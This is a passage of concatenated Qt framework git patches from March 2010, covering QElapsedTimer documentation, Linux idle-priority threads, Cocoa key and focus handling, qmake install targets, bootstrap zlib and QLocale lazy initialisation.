Marks this QElapsedTimer object as invalid. + + An invalid object can be checked with isValid(). Calculations of timer + elapsed since invalid data are undefined and will likely produce bizarre + results. + + \sa isValid(), start(), restart() +*/ void QElapsedTimer::invalidate() { t1 = t2 = invalidData; } +/*! + Returns true if this object was invalidated by a call to invalidate() and + has not been restarted since. + + \sa invalidate(), start(), restart() +*/ bool QElapsedTimer::isValid() const { return t1 != invalidData && t2 != invalidData; } +/*! + Returns true if this QElapsedTimer has already expired by \a timeout + milliseconds (that is, more than \a timeout milliseconds have elapsed). + The value of \a timeout can be -1 to indicate that this timer does not + expire, in which case this function will always return false. + + \sa elapsed() +*/ bool QElapsedTimer::hasExpired(qint64 timeout) const { // if timeout is -1, quint64(timeout) is LLINT_MAX, so this will be diff --git a/src/corelib/tools/qelapsedtimer_generic.cpp b/src/corelib/tools/qelapsedtimer_generic.cpp index 3feecd6..9b589c1 100644 --- a/src/corelib/tools/qelapsedtimer_generic.cpp +++ b/src/corelib/tools/qelapsedtimer_generic.cpp @@ -44,21 +44,57 @@ QT_BEGIN_NAMESPACE +/*! + Returns the clock type that this QElapsedTimer implementation uses. + + \sa isMonotonic() +*/ QElapsedTimer::ClockType QElapsedTimer::clockType() { return SystemTime; } +/*! + Returns true if this is a monotonic clock, false otherwise. See the + information on the different clock types to understand which ones are + monotonic. + + \sa clockType(), QElapsedTimer::ClockType +*/ bool QElapsedTimer::isMonotonic() { return false; } +/*! + Starts this timer. Once started, a timer value can be checked with elapsed() or msecsSinceReference(). + + Normally, a timer is started just before a lengthy operation, such as: + \snippet doc/src/snippets/qelapsedtimer/main.cpp 0 + + Also, starting a timer makes it valid again. + + \sa restart(), invalidate(), elapsed() +*/ void QElapsedTimer::start() { restart(); } +/*! + Restarts the timer and returns the time elapsed since the previous start. + This function is equivalent to obtaining the elapsed time with elapsed() + and then starting the timer again with restart(), but it does so in one + single operation, avoiding the need to obtain the clock value twice. + + The following example illustrates how to use this function to calibrate a + parameter to a slow operation (for example, an iteration count) so that + this operation takes at least 250 milliseconds: + + \snippet doc/src/snippets/qelapsedtimer/main.cpp 3 + + \sa start(), invalidate(), elapsed() +*/ qint64 QElapsedTimer::restart() { qint64 old = t1; @@ -67,27 +103,73 @@ qint64 QElapsedTimer::restart() return t1 - old; } +/*! + Returns the number of milliseconds since this QElapsedTimer was last + started. Calling this function in a QElapsedTimer that was invalidated + will result in undefined results. + + \sa start(), restart(), hasExpired(), invalidate() +*/ qint64 QElapsedTimer::elapsed() const { return QDateTime::currentMsecsSinceEpoch() - t1; } +/*! + Returns the number of milliseconds between last time this QElapsedTimer + object was started and its reference clock's start. + + This number is usually arbitrary for all clocks except the + QElapsedTimer::SystemTime clock. For that clock type, this number is the + number of milliseconds since January 1st, 1970 at 0:00 UTC (that is, it + is the Unix time expressed in milliseconds). + + \sa clockType(), elapsed() +*/ qint64 QElapsedTimer::msecsSinceReference() const { return t1; } +/*! + Returns the number of milliseconds between this QElapsedTimer and \a + other. If \a other was started before this object, the returned value + will be positive. If it was started later, the returned value will be + negative. + + The return value is undefined if this object or \a other were invalidated. + + \sa secsTo(), elapsed() +*/ qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const { qint64 diff = other.t1 - t1; return diff; } +/*! + Returns the number of seconds between this QElapsedTimer and \a other. If + \a other was started before this object, the returned value will be + positive. If it was started later, the returned value will be negative. + + The return value is undefined if this object or \a other were invalidated. + + \sa msecsTo(), elapsed() +*/ qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const { return msecsTo(other) / 1000; } +/*! + \relates QElapsedTimer + + Returns true if \a v1 was started before \a v2, false otherwise. + + The returned value is undefined if one of the two parameters is invalid + and the other isn't. However, two invalid timers are equal and thus this + function will return false. +*/ bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) { return v1.t1 < v2.t1; -- cgit v0.12 From fb6cfbe48bc4f2148062d50d4df95616e06f9324 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Tue, 16 Mar 2010 15:22:31 +0100 Subject: Improved qt_x11_wait_for_window_manager We shouldn't really care about ReparentNotify when waiting for a window to be "managed" by the window manager. We only need to wait until the window is Mapped and Exposed for the first time, then we (most likely) can safely assume that the window manager has finished managing the window. Task-number: QTBUG-9097 Reviewed-by: Bradley T. Hughes --- src/gui/kernel/qwidget_x11.cpp | 38 ++++++++++---------------------------- 1 file changed, 10 insertions(+), 28 deletions(-) diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp index b4febc6..ece4be4 100644 --- a/src/gui/kernel/qwidget_x11.cpp +++ b/src/gui/kernel/qwidget_x11.cpp @@ -369,7 +369,7 @@ Q_GUI_EXPORT void qt_x11_wait_for_window_manager(QWidget* w) // ConfigureNotify ... MapNotify ... Expose enum State { - Initial, Reparented, Mapped + Initial, Mapped } state = Initial; do { @@ -377,33 +377,15 @@ Q_GUI_EXPORT void qt_x11_wait_for_window_manager(QWidget* w) XNextEvent(X11->display, &ev); qApp->x11ProcessEvent(&ev); - if (w->windowFlags() & Qt::X11BypassWindowManagerHint) { - switch (state) { - case Initial: - case Reparented: - if (ev.type == MapNotify && ev.xany.window == winid) - state = Mapped; - break; - case Mapped: - if (ev.type == Expose && ev.xany.window == winid) - return; - break; - } - } else { - switch (state) { - case Initial: - if (ev.type == ReparentNotify && ev.xany.window == winid) - state = Reparented; - break; - case Reparented: - if (ev.type == MapNotify && ev.xany.window == winid) - state = Mapped; - break; - case Mapped: - if (ev.type == Expose && ev.xany.window == winid) - return; - break; - } + switch (state) { + case Initial: + if (ev.type == MapNotify && ev.xany.window == winid) + state = Mapped; + break; + case Mapped: + if (ev.type == Expose && ev.xany.window == winid) + return; + break; } } else { if (!XEventsQueued(X11->display, QueuedAfterFlush)) -- cgit v0.12 From f3405a516ac30fc7dee1021cc6f34ca03dd08d97 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Wed, 17 Mar 2010 15:16:55 +0100 Subject: Implement Idle-priority threads for Linux. I don't know of any other systems that define SCHED_IDLE, but if any do, they'll use this code too Task-number: related to QTBUG-9032 Reviewed-by: Bradley T. Hughes --- src/corelib/thread/qthread.cpp | 4 +- src/corelib/thread/qthread_unix.cpp | 107 +++++++++++++++++++++--------------- 2 files changed, 65 insertions(+), 46 deletions(-) diff --git a/src/corelib/thread/qthread.cpp b/src/corelib/thread/qthread.cpp index dd0c257..cb84538 100644 --- a/src/corelib/thread/qthread.cpp +++ b/src/corelib/thread/qthread.cpp @@ -617,7 +617,9 @@ QThread::Priority QThread::priority() const { Q_D(const QThread); QMutexLocker locker(&d->mutex); - return d->priority; + + // mask off the high bits that are used for flags + return Priority(d->priority & 0xffff); } /*! diff --git a/src/corelib/thread/qthread_unix.cpp b/src/corelib/thread/qthread_unix.cpp index cda35a4..5a50646 100644 --- a/src/corelib/thread/qthread_unix.cpp +++ b/src/corelib/thread/qthread_unix.cpp @@ -92,10 +92,17 @@ # endif #endif +#if defined(Q_OS_LINUX) && !defined(SCHED_IDLE) +// from linux/sched.h +# define SCHED_IDLE 5 +#endif + QT_BEGIN_NAMESPACE #ifndef QT_NO_THREAD +enum { ThreadPriorityResetFlag = 0x80000000 }; + static pthread_once_t current_thread_data_once = PTHREAD_ONCE_INIT; static pthread_key_t current_thread_data_key; @@ -221,6 +228,11 @@ void *QThreadPrivate::start(void *arg) QThread *thr = reinterpret_cast(arg); QThreadData *data = QThreadData::get2(thr); + // do we need to reset the thread priority? + if (int(thr->d_func()->priority) & ThreadPriorityResetFlag) { + thr->setPriority(QThread::Priority(thr->d_func()->priority & ~ThreadPriorityResetFlag)); + } + #ifdef Q_OS_SYMBIAN // Because Symbian Open C does not provide a way to convert between // RThread and pthread_t, we must delay initialization of the RThread @@ -436,6 +448,37 @@ void QThread::usleep(unsigned long usecs) thread_sleep(&ti); } +// Does some magic and calculate the Unix scheduler priorities +// sched_policy is IN/OUT: it must be set to a valid policy before calling this function +// sched_priority is OUT only +static bool calculateUnixPriority(int priority, int *sched_policy, int *sched_priority) +{ +#ifdef SCHED_IDLE + if (priority == QThread::IdlePriority) { + *sched_policy = SCHED_IDLE; + *sched_priority = 0; + return true; + } + const int lowestPriority = QThread::LowestPriority; +#else + const int lowestPriority = QThread::IdlePriority; +#endif + const int highestPriority = QThread::TimeCriticalPriority; + + int prio_min = sched_get_priority_min(*sched_policy); + int prio_max = sched_get_priority_max(*sched_policy); + if (prio_min == -1 || prio_max == -1) + return false; + + int prio; + // crudely scale our priority enum values to the prio_min/prio_max + prio = ((priority - lowestPriority) * (prio_max - prio_min) / highestPriority) + prio_min; + prio = qMax(prio_min, qMin(prio_max, prio)); + + *sched_priority = prio; + return true; +} + void QThread::start(Priority priority) { Q_D(QThread); @@ -472,32 +515,14 @@ void QThread::start(Priority priority) break; } - int prio_min = sched_get_priority_min(sched_policy); - int prio_max = sched_get_priority_max(sched_policy); - if (prio_min == -1 || prio_max == -1) { + int prio; + if (!calculateUnixPriority(priority, &sched_policy, &prio)) { // failed to get the scheduling parameters, don't // bother setting the priority qWarning("QThread::start: Cannot determine scheduler priority range"); break; } - int prio; - switch (priority) { - case IdlePriority: - prio = prio_min; - break; - - case TimeCriticalPriority: - prio = prio_max; - break; - - default: - // crudely scale our priority enum values to the prio_min/prio_max - prio = (priority * (prio_max - prio_min) / TimeCriticalPriority) + prio_min; - prio = qMax(prio_min, qMin(prio_max, prio)); - break; - } - sched_param sp; sp.sched_priority = prio; @@ -505,7 +530,9 @@ void QThread::start(Priority priority) || pthread_attr_setschedpolicy(&attr, sched_policy) != 0 || pthread_attr_setschedparam(&attr, &sp) != 0) { // could not set scheduling hints, fallback to inheriting them + // we'll try again from inside the thread pthread_attr_setinheritsched(&attr, PTHREAD_INHERIT_SCHED); + d->priority = Priority(priority | ThreadPriorityResetFlag); } break; } @@ -672,38 +699,28 @@ void QThread::setPriority(Priority priority) return; } - int prio_min = sched_get_priority_min(sched_policy); - int prio_max = sched_get_priority_max(sched_policy); - if (prio_min == -1 || prio_max == -1) { + int prio; + if (!calculateUnixPriority(priority, &sched_policy, &prio)) { // failed to get the scheduling parameters, don't // bother setting the priority qWarning("QThread::setPriority: Cannot determine scheduler priority range"); return; } - int prio; - switch (priority) { - case InheritPriority: - qWarning("QThread::setPriority: Argument cannot be InheritPriority"); - return; - - case IdlePriority: - prio = prio_min; - break; - - case TimeCriticalPriority: - prio = prio_max; - break; - - default: - // crudely scale our priority enum values to the prio_min/prio_max - prio = (priority * (prio_max - prio_min) / TimeCriticalPriority) + prio_min; - prio = qMax(prio_min, qMin(prio_max, prio)); - break; - } - param.sched_priority = prio; - pthread_setschedparam(d->thread_id, sched_policy, ¶m); + int status = pthread_setschedparam(d->thread_id, sched_policy, ¶m); + +# ifdef SCHED_IDLE + // were we trying to set to idle priority and failed? + if (status == -1 && sched_policy == SCHED_IDLE && errno == EINVAL) { + // reset to lowest priority possible + pthread_getschedparam(d->thread_id, &sched_policy, ¶m); + param.sched_priority = sched_get_priority_min(sched_policy); + pthread_setschedparam(d->thread_id, sched_policy, ¶m); + } +# else + Q_UNUSED(status); +# endif // SCHED_IDLE #endif } -- cgit v0.12 From 90dfb5e5d8fc8cb841b0762cd88aa4b996c38312 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Tue, 9 Mar 2010 13:48:38 +0100 Subject: Do not deliver the same key event multiple times in Cocoa. When QCocoaView receives a keyDown or keyUp event, we translate it to QKeyEvent and deliver it to qt widgets, propagating if necessary. However if none of Qt widgets accepted the event we should propagate it back to cocoa - to get a beep from it, or for example if Qt widget is embedded into a native widget. Task-number: related to QTBUG-6444 Task-number: QTCREATORBUG-698 Reviewed-by: Richard Moe Gustavsen --- src/gui/kernel/qcocoasharedwindowmethods_mac_p.h | 20 -------------------- src/gui/kernel/qcocoaview_mac.mm | 20 ++++++++++++++++---- src/gui/kernel/qt_cocoa_helpers_mac.mm | 7 +++---- 3 files changed, 19 insertions(+), 28 deletions(-) diff --git a/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h b/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h index 9fe5ae0..129e0a5 100644 --- a/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h +++ b/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h @@ -132,26 +132,6 @@ QT_END_NAMESPACE [super toggleToolbarShown:sender]; } -/* - The methods keyDown, keyUp, and flagsChanged... These really shouldn't ever - get hit. We automatically say we can be first responder if we are a window. - So, the handling should get handled by the view. This is here more as a - last resort (i.e., this is code that can potentially be removed). - */ -- (void)keyDown:(NSEvent *)theEvent -{ - bool keyOK = qt_dispatchKeyEvent(theEvent, [self QT_MANGLE_NAMESPACE(qt_qwidget)]); - if (!keyOK) - [super keyDown:theEvent]; -} - -- (void)keyUp:(NSEvent *)theEvent -{ - bool keyOK = qt_dispatchKeyEvent(theEvent, [self QT_MANGLE_NAMESPACE(qt_qwidget)]); - if (!keyOK) - [super keyUp:theEvent]; -} - - (void)flagsChanged:(NSEvent *)theEvent { qt_dispatchModifiersChanged(theEvent, [self QT_MANGLE_NAMESPACE(qt_qwidget)]); diff --git a/src/gui/kernel/qcocoaview_mac.mm b/src/gui/kernel/qcocoaview_mac.mm index a627616..99c0bb1 100644 --- a/src/gui/kernel/qcocoaview_mac.mm +++ b/src/gui/kernel/qcocoaview_mac.mm @@ -1121,8 +1121,15 @@ static int qCocoaViewCount = 0; } if (sendKeyEvents && !composing) { bool keyOK = qt_dispatchKeyEvent(theEvent, widgetToGetKey); - if (!keyOK && !sendToPopup) - [super keyDown:theEvent]; + if (!keyOK && !sendToPopup) { + // find the first responder that is not created by Qt and forward + // the event to it (for example if Qt widget is embedded into native). + QWidget *toplevel = qwidget->window(); + if (toplevel && qt_widget_private(toplevel)->topData()->embedded) { + if (NSResponder *w = [qt_mac_nativeview_for(toplevel) superview]) + [w keyDown:theEvent]; + } + } } } @@ -1131,8 +1138,13 @@ static int qCocoaViewCount = 0; { if (sendKeyEvents) { bool keyOK = qt_dispatchKeyEvent(theEvent, qwidget); - if (!keyOK) - [super keyUp:theEvent]; + if (!keyOK) { + QWidget *toplevel = qwidget->window(); + if (toplevel && qt_widget_private(toplevel)->topData()->embedded) { + if (NSResponder *w = [qt_mac_nativeview_for(toplevel) superview]) + [w keyUp:theEvent]; + } + } } } diff --git a/src/gui/kernel/qt_cocoa_helpers_mac.mm b/src/gui/kernel/qt_cocoa_helpers_mac.mm index 24fe5f7..b1e4c94 100644 --- a/src/gui/kernel/qt_cocoa_helpers_mac.mm +++ b/src/gui/kernel/qt_cocoa_helpers_mac.mm @@ -652,8 +652,7 @@ bool qt_dispatchKeyEventWithCocoa(void * /*NSEvent * */ keyEvent, QWidget *widge UInt32 macScanCode = 1; QKeyEventEx ke(cocoaEvent2QtEvent([event type]), qtKey, keyMods, text, [event isARepeat], qMax(1, keyLength), macScanCode, [event keyCode], [event modifierFlags]); - qt_sendSpontaneousEvent(widgetToGetEvent, &ke); - return ke.isAccepted(); + return qt_sendSpontaneousEvent(widgetToGetEvent, &ke) && ke.isAccepted(); } #endif @@ -703,8 +702,8 @@ bool qt_dispatchKeyEvent(void * /*NSEvent * */ keyEvent, QWidget *widgetToGetEve if (mustUseCocoaKeyEvent()) return qt_dispatchKeyEventWithCocoa(keyEvent, widgetToGetEvent); bool isAccepted; - qt_keymapper_private()->translateKeyEvent(widgetToGetEvent, 0, key_event, &isAccepted, true); - return isAccepted; + bool consumed = qt_keymapper_private()->translateKeyEvent(widgetToGetEvent, 0, key_event, &isAccepted, true); + return consumed && isAccepted; #endif } -- cgit v0.12 From 77230f7ec9e78ec2d57629ea934ceb1d59eb391e Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Tue, 9 Mar 2010 18:14:52 +0100 Subject: Do not beep on Mac when pressing some keys. When a key event is delivered to widgets, we should accept the event if the widget reacted to it in any way - if either the current item has changed or if the widget scrolled. Task-number: QTBUG-6444 Reviewed-by: Prasanth --- src/gui/itemviews/qabstractitemview.cpp | 7 ++++++- src/gui/itemviews/qabstractitemview_p.h | 1 + src/gui/itemviews/qtreeview.cpp | 12 ++++++++++-- src/gui/widgets/qlinecontrol.cpp | 1 - 4 files changed, 17 insertions(+), 4 deletions(-) diff --git a/src/gui/itemviews/qabstractitemview.cpp b/src/gui/itemviews/qabstractitemview.cpp index 3738816..fc53ea3 100644 --- a/src/gui/itemviews/qabstractitemview.cpp +++ b/src/gui/itemviews/qabstractitemview.cpp @@ -104,7 +104,8 @@ QAbstractItemViewPrivate::QAbstractItemViewPrivate() horizontalScrollMode(QAbstractItemView::ScrollPerItem), currentIndexSet(false), wrapItemText(false), - delayedPendingLayout(false) + delayedPendingLayout(false), + moveCursorUpdatedView(false) { } @@ -2210,6 +2211,7 @@ void QAbstractItemView::keyPressEvent(QKeyEvent *event) #endif QPersistentModelIndex newCurrent; + d->moveCursorUpdatedView = false; switch (event->key()) { case Qt::Key_Down: newCurrent = moveCursor(MoveDown, event->modifiers()); @@ -2266,6 +2268,7 @@ void QAbstractItemView::keyPressEvent(QKeyEvent *event) QRect rect(d->pressedPosition - d->offset(), QSize(1, 1)); setSelection(rect, command); } + event->accept(); return; } } @@ -2363,6 +2366,8 @@ void QAbstractItemView::keyPressEvent(QKeyEvent *event) } break; } } + if (d->moveCursorUpdatedView) + event->accept(); } /*! diff --git a/src/gui/itemviews/qabstractitemview_p.h b/src/gui/itemviews/qabstractitemview_p.h index 509459c..fce74f3 100644 --- a/src/gui/itemviews/qabstractitemview_p.h +++ b/src/gui/itemviews/qabstractitemview_p.h @@ -419,6 +419,7 @@ public: bool wrapItemText; mutable bool delayedPendingLayout; + bool moveCursorUpdatedView; private: mutable QBasicTimer delayedLayout; diff --git a/src/gui/itemviews/qtreeview.cpp b/src/gui/itemviews/qtreeview.cpp index fcdc429..95ba67c 100644 --- a/src/gui/itemviews/qtreeview.cpp +++ b/src/gui/itemviews/qtreeview.cpp @@ -2139,9 +2139,10 @@ QModelIndex QTreeView::moveCursor(CursorAction cursorAction, Qt::KeyboardModifie return d->modelIndex(d->above(vi), current.column()); case MoveLeft: { QScrollBar *sb = horizontalScrollBar(); - if (vi < d->viewItems.count() && d->viewItems.at(vi).expanded && d->itemsExpandable && sb->value() == sb->minimum()) + if (vi < d->viewItems.count() && d->viewItems.at(vi).expanded && d->itemsExpandable && sb->value() == sb->minimum()) { d->collapse(vi, true); - else { + d->moveCursorUpdatedView = true; + } else { bool descend = style()->styleHint(QStyle::SH_ItemView_ArrowKeysNavigateIntoChildren, 0, this); if (descend) { QModelIndex par = current.parent(); @@ -2161,7 +2162,10 @@ QModelIndex QTreeView::moveCursor(CursorAction cursorAction, Qt::KeyboardModifie return next; } + int oldValue = sb->value(); sb->setValue(sb->value() - sb->singleStep()); + if (oldValue != sb->value()) + d->moveCursorUpdatedView = true; } } @@ -2173,6 +2177,7 @@ QModelIndex QTreeView::moveCursor(CursorAction cursorAction, Qt::KeyboardModifie if (vi < d->viewItems.count() && !d->viewItems.at(vi).expanded && d->itemsExpandable && d->hasVisibleChildren(d->viewItems.at(vi).index)) { d->expand(vi, true); + d->moveCursorUpdatedView = true; } else { bool descend = style()->styleHint(QStyle::SH_ItemView_ArrowKeysNavigateIntoChildren, 0, this); if (descend) { @@ -2195,7 +2200,10 @@ QModelIndex QTreeView::moveCursor(CursorAction cursorAction, Qt::KeyboardModifie //last restort: we change the scrollbar value QScrollBar *sb = horizontalScrollBar(); + int oldValue = sb->value(); sb->setValue(sb->value() + sb->singleStep()); + if (oldValue != sb->value()) + d->moveCursorUpdatedView = true; } } updateGeometries(); diff --git a/src/gui/widgets/qlinecontrol.cpp b/src/gui/widgets/qlinecontrol.cpp index 8e715a9..42df800 100644 --- a/src/gui/widgets/qlinecontrol.cpp +++ b/src/gui/widgets/qlinecontrol.cpp @@ -1767,7 +1767,6 @@ void QLineControl::processKeyEvent(QKeyEvent* event) } break; #endif - default: if (!handled) unknown = true; -- cgit v0.12 From 4256bd2141fef53f9e69a51b966bd85f67a6cf54 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Thu, 11 Mar 2010 13:37:22 +0100 Subject: Fixed focus handling when Qt is embedded into Cocoa app. When a Qt widget gets focus we should call setFocus() on it to make sure the focus chain is properly set. Reviewed-by: Prasanth --- src/gui/kernel/qcocoaview_mac.mm | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/src/gui/kernel/qcocoaview_mac.mm b/src/gui/kernel/qcocoaview_mac.mm index 99c0bb1..e745074 100644 --- a/src/gui/kernel/qcocoaview_mac.mm +++ b/src/gui/kernel/qcocoaview_mac.mm @@ -1032,11 +1032,16 @@ static int qCocoaViewCount = 0; { if (!qwidget) return NO; + // disabled widget shouldn't get focus even if it's a window. + // hence disabled windows will not get any key or mouse events. + if (!qwidget->isEnabled()) + return NO; // Before accepting the focus for a window, we check that // the focusWidget (if any) is not contained in the same window. - if (qwidget->isWindow() && (!qApp->focusWidget() - || qApp->focusWidget()->window() != qwidget)) + if (qwidget->isWindow() && !qt_widget_private(qwidget)->topData()->embedded + && (!qApp->focusWidget() || qApp->focusWidget()->window() != qwidget)) { return YES; // Always do it, so that windows can accept key press events. + } return qwidget->focusPolicy() != Qt::NoFocus; } @@ -1047,7 +1052,16 @@ static int qCocoaViewCount = 0; // Seems like the following test only triggers if this // view is inside a QMacNativeWidget: if (qwidget == QApplication::focusWidget()) - QApplicationPrivate::setFocusWidget(0, Qt::OtherFocusReason); + qwidget->clearFocus(); + return YES; +} + +- (BOOL)becomeFirstResponder +{ + // see the comment in the acceptsFirstResponder - if the window "stole" focus + // let it become the responder, but don't tell Qt + if (!QApplication::focusWidget() && qwidget->focusPolicy() != Qt::NoFocus) + qwidget->setFocus(Qt::OtherFocusReason); return YES; } -- cgit v0.12 From ed1a76e95a54bb86ce12c5e804550bfbfd58fa7e Mon Sep 17 00:00:00 2001 From: Thomas Hartmann Date: Wed, 17 Mar 2010 16:57:10 +0100 Subject: compile fix for Windows Reviewed-by: Kai Koehne --- src/gui/styles/qwindowsvistastyle_p.h | 1 + 1 file changed, 1 insertion(+) diff --git a/src/gui/styles/qwindowsvistastyle_p.h b/src/gui/styles/qwindowsvistastyle_p.h index 673568d..ab941a1 100644 --- a/src/gui/styles/qwindowsvistastyle_p.h +++ b/src/gui/styles/qwindowsvistastyle_p.h @@ -86,6 +86,7 @@ #include #include #include +#include #include QT_BEGIN_NAMESPACE -- cgit v0.12 From 3d6f1ebf1dbdefc443aa4f8e7d18755383794156 Mon Sep 17 00:00:00 2001 From: Zeno Albisser Date: Wed, 10 Mar 2010 16:35:59 +0100 Subject: qmake: fix to create proper install target in Makefile at first run Previously when qmake was executed the first time, or when no previously compiled binary target was available for some reason, qmake just created an empty install target in the Makefile. So in fact for a target to be installed properly you needed to run something like "qmake && make && qmake && make install". This should now be fixed with this patch. Reviewed-by: Marius Storm-Olsen Task-number:QTBUG-5558 --- qmake/generators/makefile.cpp | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/qmake/generators/makefile.cpp b/qmake/generators/makefile.cpp index b9d2445..29a2422 100644 --- a/qmake/generators/makefile.cpp +++ b/qmake/generators/makefile.cpp @@ -1245,7 +1245,8 @@ MakefileGenerator::writeInstalls(QTextStream &t, const QString &installs, bool n } if(!dirstr.endsWith(Option::dir_sep)) dirstr += Option::dir_sep; - if(exists(wild)) { //real file + bool is_target = (wild == fileFixify(var("TARGET"), FileFixifyAbsolute)); + if(is_target || exists(wild)) { //real file or target QString file = wild; QFileInfo fi(fileInfo(wild)); if(!target.isEmpty()) @@ -1259,7 +1260,7 @@ MakefileGenerator::writeInstalls(QTextStream &t, const QString &installs, bool n QString cmd; if (fi.isDir()) cmd = "-$(INSTALL_DIR)"; - else if (fi.isExecutable()) + else if (is_target || fi.isExecutable()) cmd = "-$(INSTALL_PROGRAM)"; else cmd = "-$(INSTALL_FILE)"; -- cgit v0.12 From d6ab68fbd22b2d057b0e32e1bfc73a5e7dc9327d Mon Sep 17 00:00:00 2001 From: Zeno Albisser Date: Mon, 15 Mar 2010 12:00:02 +0100 Subject: Force qt-zlib to be used for host system when cross compiling. There is no possibility to define which zlib should be used for the bootstrapped tools when cross compiling. Therefor we will force qt-zlib to be used for bootstrapped tools. Reviewed-by: Marius Storm-Olsen Task-number: QTBUG-8678 --- src/tools/bootstrap/bootstrap.pri | 2 +- src/tools/bootstrap/bootstrap.pro | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/tools/bootstrap/bootstrap.pri b/src/tools/bootstrap/bootstrap.pri index b3ee948..6442526 100644 --- a/src/tools/bootstrap/bootstrap.pri +++ b/src/tools/bootstrap/bootstrap.pri @@ -51,7 +51,7 @@ hpux-acc*|hpuxi-acc* { } LIBS += -lbootstrap } -!contains(QT_CONFIG, zlib):!contains(QT_CONFIG, no-zlib) { +!contains(QT_CONFIG, zlib):!contains(QT_CONFIG, no-zlib):!cross_compile { unix:LIBS += -lz # win32:LIBS += libz.lib } diff --git a/src/tools/bootstrap/bootstrap.pro b/src/tools/bootstrap/bootstrap.pro index 0dbb90f..7e91333 100644 --- a/src/tools/bootstrap/bootstrap.pro +++ b/src/tools/bootstrap/bootstrap.pro @@ -95,7 +95,7 @@ macx: { LIBS += -framework CoreServices } -contains(QT_CONFIG, zlib) { +contains(QT_CONFIG, zlib)|cross_compile { INCLUDEPATH += ../../3rdparty/zlib SOURCES+= \ ../3rdparty/zlib/adler32.c \ -- cgit v0.12 From ba39db7b374eb3e4ded5150c1ad58ca38f3b7394 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Wed, 17 Mar 2010 19:14:43 +0100 Subject: Compile fix on keypad-navigation systems --- src/gui/widgets/qabstractslider.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/gui/widgets/qabstractslider.cpp b/src/gui/widgets/qabstractslider.cpp index 8f53116..6a01d68 100644 --- a/src/gui/widgets/qabstractslider.cpp +++ b/src/gui/widgets/qabstractslider.cpp @@ -788,7 +788,7 @@ void QAbstractSlider::keyPressEvent(QKeyEvent *ev) } else if (!d->firstRepeat.isValid()) { - d->firstRepeat.invalidate() + d->firstRepeat.invalidate(); d->repeatMultiplier = 1; } -- cgit v0.12 From 41ab4760d0cac439d9dbe26f95cd6327039fbb8e Mon Sep 17 00:00:00 2001 From: Prasanth Ullattil Date: Wed, 17 Mar 2010 21:45:02 +0100 Subject: Remove unwanted code in f8d5f2594a9b268b9eeecf95b24b23fc940c71ce Reviewed-by: Trust Me --- src/gui/kernel/qcocoaview_mac.mm | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/src/gui/kernel/qcocoaview_mac.mm b/src/gui/kernel/qcocoaview_mac.mm index e745074..0bc57e0 100644 --- a/src/gui/kernel/qcocoaview_mac.mm +++ b/src/gui/kernel/qcocoaview_mac.mm @@ -491,9 +491,7 @@ static int qCocoaViewCount = 0; CGContextRef cg = (CGContextRef)[[NSGraphicsContext currentContext] graphicsPort]; qwidgetprivate->hd = cg; CGContextSaveGState(cg); - CGFloat components[] = {1,0,0,1}; - CGContextSetFillColor(cg, components); - CGContextFillRect(cg, aRect); + if (qwidget->isVisible() && qwidget->updatesEnabled()) { //process the actual paint event. if (qwidget->testAttribute(Qt::WA_WState_InPaintEvent)) qWarning("QWidget::repaint: Recursive repaint detected"); -- cgit v0.12 From 0d3c62150f2fa2c06f7676336076be4622059cc3 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Wed, 20 Jan 2010 14:56:37 +0100 Subject: Optimized QLocale to access system locale on demand. Changed the initialization of the system locale to make construction of the QLocale object as lightweight as possible. So now the default contructor just creates a QLocale and QSystemLocale objects, but doesn't try to fill the cache in the latter with data from the system and postpones it until it is actually requested (most applications create QLocale objects on the stack and might not even use the data from the system locale, so we don't need to initialize system locale right away). This is an improved version of an already reverted change 8911ed8bfe7f918b93c758f9b5d93274b37739e6, 8911ed8bfe7f918b93c758f9b5d93274b37739e6 and 8911ed8bfe7f918b93c758f9b5d93274b37739e6. Reviewed-by: Thiago Macieira --- src/corelib/tools/qlocale.cpp | 214 +++++++++++++++++++++++++++++-------- src/corelib/tools/qlocale.h | 1 + src/corelib/tools/qlocale_p.h | 18 ++-- tests/auto/qlocale/tst_qlocale.cpp | 6 ++ 4 files changed, 185 insertions(+), 54 deletions(-) diff --git a/src/corelib/tools/qlocale.cpp b/src/corelib/tools/qlocale.cpp index 1966a79..e36497c 100644 --- a/src/corelib/tools/qlocale.cpp +++ b/src/corelib/tools/qlocale.cpp @@ -1274,11 +1274,25 @@ QLocale QSystemLocale::fallbackLocale() const */ QVariant QSystemLocale::query(QueryType type, QVariant /* in */) const { - if (type == MeasurementSystem) { + switch (type) { + case MeasurementSystem: return QVariant(unixGetSystemMeasurementSystem()); - } else { - return QVariant(); + case LanguageId: + case CountryId: { + QString locale = QLatin1String(envVarLocale()); + QLocale::Language lang; + QLocale::Country cntry; + getLangAndCountry(locale, lang, cntry); + if (type == LanguageId) + return lang; + if (cntry == QLocale::AnyCountry) + return fallbackLocale().country(); + return cntry; + } + default: + break; } + return QVariant(); } #elif !defined(Q_OS_SYMBIAN) @@ -1310,12 +1324,10 @@ QVariant QSystemLocale::query(QueryType /* type */, QVariant /* in */) const #endif -#ifndef QT_NO_SYSTEMLOCALE static QSystemLocale *_systemLocale = 0; Q_GLOBAL_STATIC_WITH_ARGS(QSystemLocale, QSystemLocale_globalSystemLocale, (true)) static QLocalePrivate *system_lp = 0; Q_GLOBAL_STATIC(QLocalePrivate, globalLocalePrivate) -#endif /****************************************************************************** ** Default system locale behavior @@ 